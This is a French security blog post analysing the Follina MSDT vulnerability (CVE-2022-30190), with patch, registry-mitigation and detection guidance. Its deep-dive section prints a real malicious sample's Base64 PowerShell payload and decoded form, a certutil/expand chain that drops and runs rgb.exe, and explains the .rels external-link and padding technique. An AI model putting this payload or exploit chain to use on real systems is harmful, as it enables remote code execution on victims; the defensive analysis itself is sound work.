La faille de sécurité nommée Follina est exploitée au travers de documents Word malveillants qui utilisent un appel "ms-msdt://" pour exécuter un code malicieux (souvent du PowerShell) sur les machines, et ceci sans à devoir utiliser des macros.
Points essentiels
Voici les éléments principaux à connaître concernant la vulnérabilité Follina
- MSDT = Microsoft Support Diagnostic Tool. Utilitaire pour collecter des données qui seront ensuite analysées par Microsoft pour résoudre un incident
- C'est un 0-day. Il n'y a pas de patch disponible --> Update 14.06.22 : Patch dispo !
- Permet une exécution de code à distance
- Des mitigations sont disponibles, notamment par une modification d'une clé de registre
- La simple ouverture d'un fichier Word en mode "Preview" permet d'exploiter la vulnérabilité.
- Numéro de CVE : 2022-30190
Un patch est disponible !
Le 14 juin, Microsoft a publié un patch de sécurité qui permet de combler la faille sur les environnements Windows 10 et 11. Le numéro de la KB peut varier en fonction du système d'exploitation. Plus d'informations sont disponibles sur le site de Microsoft.
Mitigation via le Registre Windows
Avant la sortie du patch, il était possible de mitiger l'exploitation de cette vulnérabilité en modifiant une valeur du registre afin d'empêcher les appels à l'outil de diagnostic via un lien.
- Ouvrir un invite de commande (CMD.exe) en tant qu'administrateur
- Faire une sauvegarde de la clé de registre :
reg export HKEY_CLASSES_ROOT\ms-msdt filename
- Supprimer le clé
reg delete HKEY_CLASSES_ROOT\ms-msdt /f
Ceci va permettre de désactiver l'utilisation de l'appel de MSDT via une URL ms-msdt://
Technical Deep Dive
L'équipe de sécurité CISEL s'est penché sur le fonctionnement détaillé de cette vulnérabilité. Pour réaliser ces analyses poussées, nous avons obtenu un fichier Word malveillant qui avait été initialement mis à disposition par nao_sec sur Twitter et avons examiné sa structure et son contenu grâce à Kali Linux.
Le fichier Word que nous avons analysé contient de nombreux blocs XML ainsi qu'un fichier .rels (XML Relationship) qui contenait une référence externe vers un site web.
Ce fichier .rels contient une référence vers un fichier HTML
Au moment où l'on écrit ces lignes, la ressource web n'était plus disponible, mais nous avons pu retrouver le fichier en question grâce à une analyse any.run qui avait été faite par nao_sec
Le fichier RDF842l.html contenait un bloc de code javascript exécutant la commande suivante :
On ne voit pas dans cette capture, mais le fichier HTML contenait de nombreux caractères "A" interprétés comme des commentaires et qui sont en fait nécessaires pour exploiter la faille (4096 bytes de padding nécessaire).
En analysant le code, on remarque que l'appel de ms-msdt est utilisé avec le paramètre IT_BrowseForFile qui inclut un appel PowerShell. On remarque rapidement une chaine de caractères encodée en Base64.
JGNtZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGNtZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGNtZCAtd2luZG93c3R5bGUgaGlkZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoaWRkZW4gLUFyZ3VtZW50TGlzdCAiL2MgY2QgQzpcdXNlcnNccHVibGljXCYmZm9yIC9yICV0ZW1wJSAlaSBpbiAoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSAlaSAxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydHV0aWwgLWRlY29kZSAxLnQgMS5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw==
Voici ce qu'elle contient une fois décodée et mise en forme:
$cmd = "c:\windows\system32\cmd.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c taskkill /f /im msdt.exe";
Start-Process $cmd -windowstyle hidden -ArgumentList "/c cd C:\users\public\&&for /r %temp% %i in (05-2022-0438.rar) do copy %i 1.rar /y&&findstr TVNDRgAAAA 1.rar>1.t&&certutil -decode 1.t 1.c &&expand 1.c -F:* .&&rgb.exe";
Voici les étapes clés de cet appel.
- Démarre 2 cmd.exe en mode caché
- Stoppe le processus msdt.exe s'il est présent grâce à taskkill /f
- Effectue une recherche de fichier à l'intérieur d'un fichier .rar à la recherche d'une chaine de caractère encodée en Base64 (TVNDRgAAAA) qui s'avère être un fichier .CAB.
- Stock ce fichier CAB encodé dans le fichier 1.t
- Décode (grâce à certutil) le fichier CAB et le stocke dans le fichier 1.c
- Exécute le fichier rgb.exe qu'il a trouvé dans le fichier 1.c.
Ce que fait le fichier rgb.exe ne nous intéresse pas forcément, mais l'élément important à retenir c'est qu'il s'agit réellement d'une nouvelle technique d'accès initial (MITRE TA0001) qui permet à un attaquant d'exécuter du code en un seul click (voir moins).
Ce vecteur d'attaque est intéressant, car il utilise un document Word sans Macro pour déclencher des signes habituels de Warning aux utilisateurs, mais avec la possibilité d'exécuter du code à distance. Voici un résumé de la stratégie de l'attaquant :
- Création d'un Word avec un lien vers un objet externe malicieux grâce au fichier word/_rels/document.xml.rels
Type=”http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject”, Target=”http_malicious_link!
- Le fichier malicieux sert à appeler ms-msdt:// en lui passant des paramètres malicieux qui permettront d'exécuter du code sur la victime.
Détection et prévention
CISEL propose des solutions EPP et EDR délivrées avec Microsoft Defender ou Kaspersky. Ces deux solutions sont capables de détecter et de bloquer la majorité des attaques exploitant la vulnérabilité Follina.
Microsoft Defender Antivirus (MDAV) possède les signatures suivantes :
- Trojan:Win32/Mesdetty.A
- Trojan:Win32/Mesdetty.B
- Behavior:Win32/MesdettyLaunch.A!blk
- Trojan:Win32/MesdettyScript.A
- Trojan:Win32/MesdettyScript.B
Il faut simplement s'assurer que le module Cloud-delivered protection and automatic sample submission est activé.
Pour les clients ayant la version EDR de Microsoft (Microsoft Defender for Endpoint), les alertes suivantes sont remontées:
- Suspicious behavior by an Office application
- Suspicious behavior by Msdt.exe
Une règle ASR nommée Block all Office applications from creating child processes permet de bloquer la création de processus enfant par une application Office telle que Word.
Kaspersky Security for Endpoint détecte et bloque également les tentatives d'exploitation avec les signatures suivantes :
- PDM:Exploit.Win32.Generic
- HEUR:Exploit.MSOffice.Agent.n
- HEUR:Exploit.MSOffice.Agent.gen
- HEUR:Exploit.MSOffice.CVE-2017-0199.a
- HEUR:Exploit.MSOffice.CVE-2021-40444.a
- HEUR:Exploit.MSOffice.Generic
Références
A propos de l'auteur
Cyrill Gremaud Security Solutions Architect @ CISEL Informatique SA